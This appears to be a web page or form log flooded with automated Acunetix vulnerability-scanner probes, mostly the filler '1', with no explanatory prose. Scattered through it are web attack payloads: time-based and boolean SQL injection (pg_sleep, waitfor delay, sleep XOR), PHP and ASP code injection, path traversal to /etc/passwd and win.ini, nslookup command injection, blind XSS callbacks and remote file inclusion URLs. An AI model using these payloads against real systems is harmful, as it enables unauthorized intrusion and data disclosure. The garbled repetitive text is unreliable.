1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

<!–

1

1

1

‘”

1

1

1

1

/www.vulnweb.com

1

1

1

1

JyI=

@@qe0mS

1

1

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

\

1

1

1

1

1

1

1

1

1

1

1

1

1

1′”

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

http://hit6LR6swv4hd.bxss.me/

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

${@print(md5(acunetix_wvs_security_test))}\

${@print(md5(acunetix_wvs_security_test))}

1

“;print(md5(acunetix_wvs_security_test));$a=”

‘;print(md5(acunetix_wvs_security_test));$a=’

1

1

;print(md5(acunetix_wvs_security_test));

1

1

4987.html/.

4987.html

4987.html

1

1

1

‘”()

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

WEB-INF\web.xml

1

WEB-INF/web.xml

1

1

/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini

1

1

1

1

1

^(#$!@#$)(()))******

!(()&&!|*|*|

)

1

…………….windowswin.ini

1

1

1

1

1

1

1

1

1

C:\WINDOWS\system32\drivers\etc\hosts

/WEB-INF/web.xml

1

file:///etc/passwd

1

1

%2fetc%2fpasswd

1

.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

1

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

1

1

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

1

1

1

1

1

1

1

1

1

1

1

1

1

1

testasp.vulnweb.com

http://testasp.vulnweb.com/t/fit.txt?.jpg

http://testasp.vulnweb.com/t/fit.txt

1some_inexistent_file_with_long_name.jpg

1&n920352=v963988

1

1

1

1

1

1

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

1

1

1

1

1

1

1

1

1

1

PmCcN8MA’));select pg_sleep(3); —

8zBE15UG’);select pg_sleep(3); —

ZGSVmZvN’;select pg_sleep(3); —

-1));select pg_sleep(3); —

1

-1);select pg_sleep(3); —

1

1

-1;select pg_sleep(9); —

1

1

1

DznngnJf’; waitfor delay ‘0:0:9’ —

1

1

-1); waitfor delay ‘0:0:9’ —

1

1

-1; waitfor delay ‘0:0:9’ —

1

1

1

0″XOR(if(now()=sysdate(),sleep(6),0))XOR”Z

0’XOR(if(now()=sysdate(),sleep(6),0))XOR’Z

1

if(now()=sysdate(),sleep(6),0)

1

-1″ OR 2+373-373-1=0+0+0+1 —

-1′ OR 2+661-661-1=0+0+0+1 or ‘BplDxImg’=’

1

-1′ OR 2+931-931-1=0+0+0+1 —

1

-1 OR 2+736-736-1=0+0+0+1

-1 OR 2+377-377-1=0+0+0+1 —

NHppay6X

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

F04R1hkJ

1

1

1

1

1

1

1

1

1

1

1

&nslookup VRzepB1x&’\”`0&nslookup VRzepB1x&`’

1

$(nslookup 4mvKL4CS)

1

set|set&set

1

1

1

1

1

1

1

1

1

1

1

1

1

1

“+response.write(9969500*9961633)+”

‘+response.write(9969500*9961633)+’

response.write(9969500*9961633)

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

<!–

1

‘”

1

JyI=

1

@@ZbYh3

1

1

\

1

1

1

1

1

1

1′”

1

1

1

1

1

/www.vulnweb.com

1

1

1

1

1

1

1

1

1

1

1

1

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

1

1

1

1

1

1

1

1

1

1

1

1

1

http://hitVhVhw8fAAp.bxss.me/

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

4987.html/.

1

4987.html

1

1

4987.html

1

${@print(md5(acunetix_wvs_security_test))}\

1

1

${@print(md5(acunetix_wvs_security_test))}

1

“;print(md5(acunetix_wvs_security_test));$a=”

‘”()

‘;print(md5(acunetix_wvs_security_test));$a=’

;print(md5(acunetix_wvs_security_test));

WEB-INF\web.xml

WEB-INF/web.xml

/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini

…………….windowswin.ini

1

C:\WINDOWS\system32\drivers\etc\hosts

1

1

/WEB-INF/web.xml

1

1

1

file:///etc/passwd

1

1

1

1

1

1

1

1

1

%2fetc%2fpasswd

1

1

1

^(#$!@#$)(()))******

.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

1

!(()&&!|*|*|

)

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

1

1

1

1

1

1

1

1

1

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

testasp.vulnweb.com

1

1

http://testasp.vulnweb.com/t/fit.txt?.jpg

1

1

1

1&n930028=v972319

1

http://testasp.vulnweb.com/t/fit.txt

1

1some_inexistent_file_with_long_name.jpg

1

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

Dy36bgcK’));select pg_sleep(9); —

1

1

BJ2T50M3′;select pg_sleep(6); —

1

-1));select pg_sleep(6); —

1

-1);select pg_sleep(6); —

1

1

1

-1;select pg_sleep(6); —

26IrnEph’; waitfor delay ‘0:0:6’ —

1 waitfor delay ‘0:0:9’ —

1 waitfor delay ‘0:0:3’ —

-1); waitfor delay ‘0:0:3’ —

-1; waitfor delay ‘0:0:6’ —

-1; waitfor delay ‘0:0:3’ —

0″XOR(if(now()=sysdate(),sleep(3),0))XOR”Z

1

1

1

0’XOR(if(now()=sysdate(),sleep(3),0))XOR’Z

1

if(now()=sysdate(),sleep(9),0)

1

-1″ OR 2+919-919-1=0+0+0+1 —

1

1

-1′ OR 2+254-254-1=0+0+0+1 or ‘Qrt1IggE’=’

1

-1′ OR 2+160-160-1=0+0+0+1 —

1

1

-1 OR 2+300-300-1=0+0+0+1

1

-1 OR 2+769-769-1=0+0+0+1 —

1

mur3pR0r

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

aCvZckCJ

1

1

1

&nslookup 0Y8T6Uv3&’\”`0&nslookup 0Y8T6Uv3&`’

1

1

$(nslookup ZsQsSs5Y)

set|set&set

1

1

“+response.write(9974273*9364279)+”

1

‘+response.write(9974273*9364279)+’

1

response.write(9974273*9364279)

1

1

1

1